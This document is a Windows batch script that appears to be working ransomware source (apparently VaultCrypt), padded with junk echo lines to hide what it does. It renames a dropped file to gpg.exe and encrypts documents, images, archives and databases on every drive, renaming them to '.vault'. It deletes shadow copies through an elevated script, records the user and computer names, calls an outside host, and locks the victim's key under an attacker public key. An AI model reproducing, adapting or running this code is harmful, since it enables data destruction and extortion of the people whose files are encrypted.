    echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    goto 871c371d
    )
    rename "%temp%\design.css" "gpg.exe"
    copy /y "%temp%\design.css" "%temp%\gpg.exe"
    del /f /q "%temp%\design.css"
    echo fr8chADr8phubuca4atHu7ebrezeXuc8 >nul
    echo nes2AzanaBU2AtaST4wUzEc5anAd5U5e >nul
    echo pUprESPeResWaZuPrasw38eduzEBruzA >nul
    chcp 866
    set 715c7be3=!RANDOM!
    set b67b5d00=!RANDOM!
    echo yAphareSwu4UtAspetrukatRes84etha >nul
    echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul
    set dc841a88=!RANDOM!
    set db5a2d8a=!RANDOM!
    echo yAphareSwu4UtAspetrukatRes84etha >nul
    echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul
    set ee1f189d=!RANDOM!
    set 2162ea2b=!RANDOM!
    echo yAphareSwu4UtAspetrukatRes84etha >nul
    echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul
    set 58d179b8=!RANDOM!
    set 3d645b52=RU
    if exist "%APPDATA%\gnupg" RENAME "%APPDATA%\gnupg" gnupg_%random%
    echo yAphareSwu4UtAspetrukatRes84etha >nul
    echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul
    echo Key-Type: RSA> "%temp%\9c668934.2ca1046c"
    echo Key-Length: 1024>> "%temp%\9c668934.2ca1046c"
    echo yAphareSwu4UtAspetrukatRes84etha >nul
    echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul
    echo Name-Real: Cellar>> "%temp%\9c668934.2ca1046c"
    echo yAphareSwu4UtAspetrukatRes84etha >nul
    echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul
    
    "%temp%\gpg.exe" --batch --homedir "%temp%" --gen-key "%temp%\9c668934.2ca1046c"
    echo CUdUbruTra6rafarafReduhepadraYug >nul
    echo te6eVUW8e5eR5chUGachef4nu6r3xenU >nul
    echo -----BEGIN PGP PUBLIC KEY BLOCK-----> "%temp%\03dfb98e.7087b06e"
    echo CUdUbruTra6rafarafReduhepadraYug >nul
    echo te6eVUW8e5eR5chUGachef4nu6r3xenU >nul
    echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    echo Version: GnuPG v1>> "%temp%\03dfb98e.7087b06e"
    echo thefr4brUYe36aFrecHathePr7CAFanE >nul
    echo trufufrecrututheg5prewrefeXaswe3 >nul
    echo.>> "%temp%\03dfb98e.7087b06e"
    echo thefr4brUYe36aFrecHathePr7CAFanE >nul
    echo trufufrecrututheg5prewrefeXaswe3 >nul
    echo mI0EVbFePwEEAMM+eRmPkcVTTwqLOyCkSlOTDjfnJpU2vTt94yMq1c1Ix1RF2fxp>> "%temp%\03dfb98e.7087b06e"
    echo thefr4brUYe36aFrecHathePr7CAFanE >nul
    echo trufufrecrututheg5prewrefeXaswe3 >nul
    echo S9ZDuQ9qfhqUxXiUtsEY7kB1pHtcyCeqtdrYST4YzJTeNCZNTiq2mVkQlPXqcvO/>> "%temp%\03dfb98e.7087b06e"
    echo hXpyYH/DNB6XmdQP9rmb/gIb5qHpRNoWlb1MBDZAJnHU3PEA2LcXbBX/ABEBAAG0>> "%temp%\03dfb98e.7087b06e"
    echo ClZhdWx0Q3J5cHSIuAQTAQIAIgUCVbFePwIbLwYLCQgHAwIGFQgCCQoLBBYCAwEC>> "%temp%\03dfb98e.7087b06e"
    echo thefr4brUYe36aFrecHathePr7CAFanE >nul
    echo trufufrecrututheg5prewrefeXaswe3 >nul
    echo HgECF4AACgkQ+Zg2Eii5y+eiQQQAm9r0sfXO5pp4/yy6lJG+zZAiijgzECVAQvw9>> "%temp%\03dfb98e.7087b06e"
    echo j+JE6n7mZnZDm632PrLumTHE9PauifXmyTFf0RPUI/D5B8QFPQn9hoNf041aaEgq>> "%temp%\03dfb98e.7087b06e"
    echo thefr4brUYe36aFrecHathePr7CAFanE >nul
    echo trufufrecrututheg5prewrefeXaswe3 >nul
    echo bTQSy7TIwZJfTyZyq/yhJiH0RLI7yhj/88sjX+uu7miGHO9jb1ygTo/qe5n3Q/Vp>> "%temp%\03dfb98e.7087b06e"
    echo xpSJJFU=>> "%temp%\03dfb98e.7087b06e"
    echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
    echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
    echo =CuiR>> "%temp%\03dfb98e.7087b06e"
    echo -----END PGP PUBLIC KEY BLOCK----->> "%temp%\03dfb98e.7087b06e"
    echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
    echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
    
    "%temp%\gpg.exe" -r Cellar --export-secret-keys --yes --homedir "%temp%" -a> "%temp%\3637bf69.36ddf8fe"
    del /f /q "%temp%\9c668934.2ca1046c"
    echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
    echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
    echo.>> "%temp%\3637bf69.36ddf8fe"
    echo BDATE: !DATE!>> "%temp%\3637bf69.36ddf8fe"
    echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
    echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
    echo UNAME: !USERNAME!>> "%temp%\3637bf69.36ddf8fe"
    echo CNAME: !COMPUTERNAME!>> "%temp%\3637bf69.36ddf8fe"
    echo PQQID: AKG-4813>> "%temp%\3637bf69.36ddf8fe"
    echo ULANG: !3d645b52!>> "%temp%\3637bf69.36ddf8fe"
    echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
    echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
    echo 01HSH: !715c7be3!>> "%temp%\3637bf69.36ddf8fe"
    echo 02HSH: !b67b5d00!>> "%temp%\3637bf69.36ddf8fe"
    echo 03HSH: !db5a2d8a!>> "%temp%\3637bf69.36ddf8fe"
    echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
    echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
    echo 04HSH: !dc841a88!>> "%temp%\3637bf69.36ddf8fe"
    echo 05HSH: !ee1f189d!>> "%temp%\3637bf69.36ddf8fe"
    echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul
    echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul
    echo FHASH: !2162ea2b!>> "%temp%\3637bf69.36ddf8fe"
    echo chcp 866 > "%temp%\61231f25.9db8b89a"
    echo 3ekudesewekePrUBreqAcrabrastUCHu >nul
    echo spEfAch6gaCHetHuMEM2fUgexuj27rAS >nul
    FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :1010f32d %%f
    echo if exist "%%TeMp%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo 3ekudesewekePrUBreqAcrabrastUCHu >nul
    echo spEfAch6gaCHetHuMEM2fUgexuj27rAS >nul
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 01FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto 441f5342
    echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
    echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
    echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
    :1010f32d
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.xls *.doc) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
    echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
    echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
    :441f5342
    echo Set objShell = CreateObject^("Shell.Application"^) > "%temp%\59665d79.vbs"
    echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
    echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
    echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
    echo Set objWshShell = WScript.CreateObject^("WScript.Shell"^) >> "%temp%\59665d79.vbs"
    echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
    echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
    echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
    echo Set objWshProcessEnv = objWshShell.Environment^("PROCESS"^) >> "%temp%\59665d79.vbs"
    echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
    echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
    echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
    echo objShell.ShellExecute "wmic.exe", "shadowcopy delete /nointeractive", "", "runas", 0 >> "%temp%\59665d79.vbs"
    echo var cdp="%%TEMP%%\\69aca909.cmd";var WshShell=CreateObject("WScript.Shell");cdp=WshShell.ExpandEnvironmentStrings(cdp);function CreateObject(fq){return new ActiveXObject(fq)}function xx(cdp){WshShell.Run(cdp,0,0);}xx(''+cdp+'');> "%temp%\acda3f33.js"
    echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
    echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
    echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
    echo.> "%temp%\69aca909.cmd"
    echo SetLocal EnableDelayedExpansion>> "%temp%\69aca909.cmd"
    echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
    echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
    echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
    echo for /f "tokens=2*" %%%%i in ^('reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentVersion"'^) do set fnd7=%%%%j>> "%temp%\69aca909.cmd"
    echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
    echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
    echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
    echo if not %%fnd7:~0,1%% GEQ 6 goto a3811a18>> "%temp%\69aca909.cmd"
    echo 3wucHePReXafUtHex5s2FeyU4efugaza >nul
    echo nUFaw6hSdgyahjdgahjdiuaerEkam5 >nul
    echo jureqAprE8Anap2AxED7Et4ucHathaZU >nul
    echo set ntries=^0>> "%temp%\69aca909.cmd"
    echo :3c843d11>> "%temp%\69aca909.cmd"
    echo wscript.exe //B //Nologo "%%temp%%\59665d79.vbs"^& tasklist^|findstr /i wmic.exe>> "%temp%\69aca909.cmd"
    echo if not ^^!errorlevel^^!==0 ^(>> "%temp%\69aca909.cmd"
    echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul
    echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul
    echo set /a ntries+=^1>> "%temp%\69aca909.cmd"
    echo if not ^^!ntries^^! GEQ 16 goto 3c843d11>> "%temp%\69aca909.cmd"
    echo ^)>> "%temp%\69aca909.cmd"
    echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul
    echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul
    echo :a3811a18>> "%temp%\69aca909.cmd"
    echo del /f /q "%temp%\acda3f33.js">> "%temp%\69aca909.cmd"
    echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd"
    echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul
    echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul
    echo echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd"
    echo echo 1107cc4c ^> "%%temp%%\69aca909.cmd">> "%temp%\69aca909.cmd"
    start wscript.exe //B //Nologo "%temp%\acda3f33.js"
    echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul
    echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul
    FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :c68cd952 %%f
    echo if exist "%%TeMp%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 02FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto 9b100e11
    echo swETEcHukuSpaj7q2CAQu8ESa3rUzaq3 >nul
    echo dA8ruKA4EsePr4PHaYUWrUStaV2pahe3 >nul
    :c68cd952
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.pdf *.rtf) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    :9b100e11
    echo x5fawEmawuZA7pu7amES7uZUdega7u6E >nul
    echo daprE8ESWUDaja3hUprawrUyaSEbEBe4 >nul
    FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :a556dfcb %%f
    echo if exist "%%TeMp%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 03FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto cd9f3e2a
    
    echo x5fawEmawuZA7pu7amES7uZUdega7u6E >nul
    echo daprE8ESWUDaja3hUprawrUyaSEbEBe4 >nul
    :a556dfcb
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.psd *.dwg *.cdr) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    :cd9f3e2a
    FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :071faa5e %%f
    echo if exist "%%TeMp%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 04FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto e0aede1c
    :071faa5e
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.cd *.mdb *.1cd *.dbf *.sqlite) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    :e0aede1c
    FOR %%s IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :f941ecc1 %%s
    echo if exist "%%TeMp%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 05FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto ca70214e
    :f941ecc1
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.jpg *.zip) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    :ca70214e
    set loco=!random!!random!
    echo x5fawEmawuZA7pu7amES7uZUdega7u6E >nul
    echo daprE8ESWUDaja3hUprawrUyaSEbEBe4 >nul
    echo function CreateObject^(b^){return new ActiveXObject^(b^)} >> !loco!.js
    echo ahdkUAHFahjdkuhjau82uhdADUKshd7rq >nul
    echo prEMayafRuDubrug3fRUmEChubrustuy >nul
    echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    echo frEchUS3eSwEB6espeb4kEXuc2EChAsp >nul
    echo function ok^(b^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^)} >> !loco!.js
    echo ahdkUAHFahjdkuhjau82uhdADUKshd7rq >nul
    echo prEMayafRuDubrug3fRUmEChubrustuy >nul
    echo frEchUS3eSwEB6espeb4kEXuc2EChAsp >nul
    echo ok^("http://attached-email.com/c1.php"^); >> !loco!.js
    echo ahdkUAHFahjdkuhjau82uhdADUKshd7rq >nul
    echo prEMayafRuDubrug3fRUmEChubrustuy >nul
    echo frEchUS3eSwEB6espeb4kEXuc2EChAsp >nul
    wscript.exe //B //nologo //T:40 "!loco!.js"
    echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
    echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
    echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
    echo speFrez4chE3asw4RebrU32haGedaDAD >nul
    echo echo FHASH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo echo FHASH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
    echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
    echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
    echo speFrez4chE3asw4RebrU32haGedaDAD >nul
    echo echo FHASH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo echo 1e759748 ^> "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a"
    echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
    echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
    echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
    echo speFrez4chE3asw4RebrU32haGedaDAD >nul
    echo del /f /q "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a"
    findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\21b0fb7b.7ca0ec0c"> "%temp%\97cf86b0.e479bce7"
    echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
    echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
    echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
    echo speFrez4chE3asw4RebrU32haGedaDAD >nul
    findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\61231f25.9db8b89a"> "%temp%\f2a431bc.6ccc04ec"
    echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
    echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
    echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
    echo speFrez4chE3asw4RebrU32haGedaDAD >nul
    findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\97cf86b0.e479bce7"> "%temp%\8f9c3dbb.9767d548"
    echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
    echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
    echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
    echo speFrez4chE3asw4RebrU32haGedaDAD >nul
    findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\f2a431bc.6ccc04ec"> "%temp%\4c2e533d.cmd"
    del /f /q "%temp%\97cf86b0.e479bce7"
    del /f /q "%temp%\f2a431bc.6ccc04ec"
    echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
    echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
    echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
    echo speFrez4chE3asw4RebrU32haGedaDAD >nul
    del /f /q "%temp%\21b0fb7b.7ca0ec0c"
    echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
    echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
    echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
    echo speFrez4chE3asw4RebrU32haGedaDAD >nul
    del /f /q "%temp%\61231f25.9db8b89a"
    echo XCONF: !58d179b8!>> "%temp%\3637bf69.36ddf8fe"
    echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
    echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
    echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
    echo speFrez4chE3asw4RebrU32haGedaDAD >nul
    set 3a3b7af1=66668
    for /f %%f in ('find /c /v ""^< "%temp%\8f9c3dbb.9767d548"') do (
    set 3a3b7af1=%%f
    )
    echo swuQAtapas74dABrupRAk4geCrU4aSuC >nul
    echo W5espeWrezu5A6hUhuBRU5evemupH2cE >nul
    echo V33rhYGgfyisahdgJFKASDadbahsgvjdWaga >nul
    echo speFrez4chE3asw4RebrU32haGedaDAD >nul
    echo QNTTY: !3a3b7af1!>> "%temp%\3637bf69.36ddf8fe"
    for %%c IN (01:xls 04:doc 05:rtf 10:pdf 11:psd 12:dwg 13:cdr 19:cd 20:mdb 21:1cd 23:dbf 24:sqlite 26:jpg 27:zip) do (
    for /f "tokens=1,2 delims=:" %%i in ("%%c") do (
    for /f %%b in ('find /c /i ".%%j"^< "%temp%\8f9c3dbb.9767d548"') do (
    echo %%iEXT: %%b>> "%temp%\3637bf69.36ddf8fe"
    )))
    echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
    echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
    echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
    echo 02EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 03EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
    echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
    echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
    echo 06EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 07EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 08EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 09EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
    echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
    echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
    echo 14EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 15EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 16EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
    echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
    echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
    echo 17EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 18EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 22EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
    echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
    echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
    echo 25EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 28EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
    echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
    echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
    echo 29EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
    echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
    echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
    echo.>> "%temp%\8f9c3dbb.9767d548"
    echo XCONF: !58d179b8!>> "%temp%\8f9c3dbb.9767d548"
    echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
    echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
    echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
    del /f /q "!loco!.js"
    "%temp%\gpg.exe" --import "%temp%\03dfb98e.7087b06e"
    del /f /q "%temp%\03dfb98e.7087b06e"
    echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
    echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
    echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
    "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always -o "%temp%\VAULT.KEY" -e "%temp%\3637bf69.36ddf8fe"
    echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
    echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
    echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
    "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always -o "%temp%\CONFIRMATION.KEY" -e "%temp%\8f9c3dbb.9767d548"
    echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
    echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
    echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
    if not exist "%temp%\VAULT.KEY" (
    "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\3637bf69.36ddf8fe"
    echo thu83E7r88Erup7etUbRuzaqathUchaB >nul
    echo NateBRaCu2ruphEbruPhATHeRAMe6rab >nul
    echo sTEhet8TAveg2cek8neCuH3cR4f5xu3r >nul
    RENAME "%temp%\3637bf69.36ddf8fe.gpg" VAULT.KEY
    )
    if not exist "%temp%\CONFIRMATION.KEY" (
    "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\8f9c3dbb.9767d548"
    RENAME "%temp%\8f9c3dbb.9767d548.gpg" CONFIRMATION.KEY
    echo spewuxeJubrupruthUmex33EpafrAbre >nul
    echo T8eQewUvebR4fraThaKu2uqase85xe8u >nul
    echo wrasatuNabrefr8stubruxuhAreCHapr >nul
    )
    if not exist "%temp%\VAULT.KEY" (
    del /f /q "%temp%\*.vlt"
    del /f /q "%temp%\*.gpg"
    echo spewuxeJubrupruthUmex33EpafrAbre >nul
    echo T8eQewUvebR4fraThaKu2uqase85xe8u >nul
    echo wrasatuNabrefr8stubruxuhAreCHapr >nul
    del /f /q "%temp%\random_seed"
    del /f /q "%temp%\*.lock"
    echo spewuxeJubrupruthUmex33EpafrAbre >nul
    echo T8eQewUvebR4fraThaKu2uqase85xe8u >nul
    echo wrasatuNabrefr8stubruxuhAreCHapr >nul
    del /f /q "%temp%\*.bak"
    del /f /q "%temp%\*.list"
    echo spewuxeJubrupruthUmex33EpafrAbre >nul
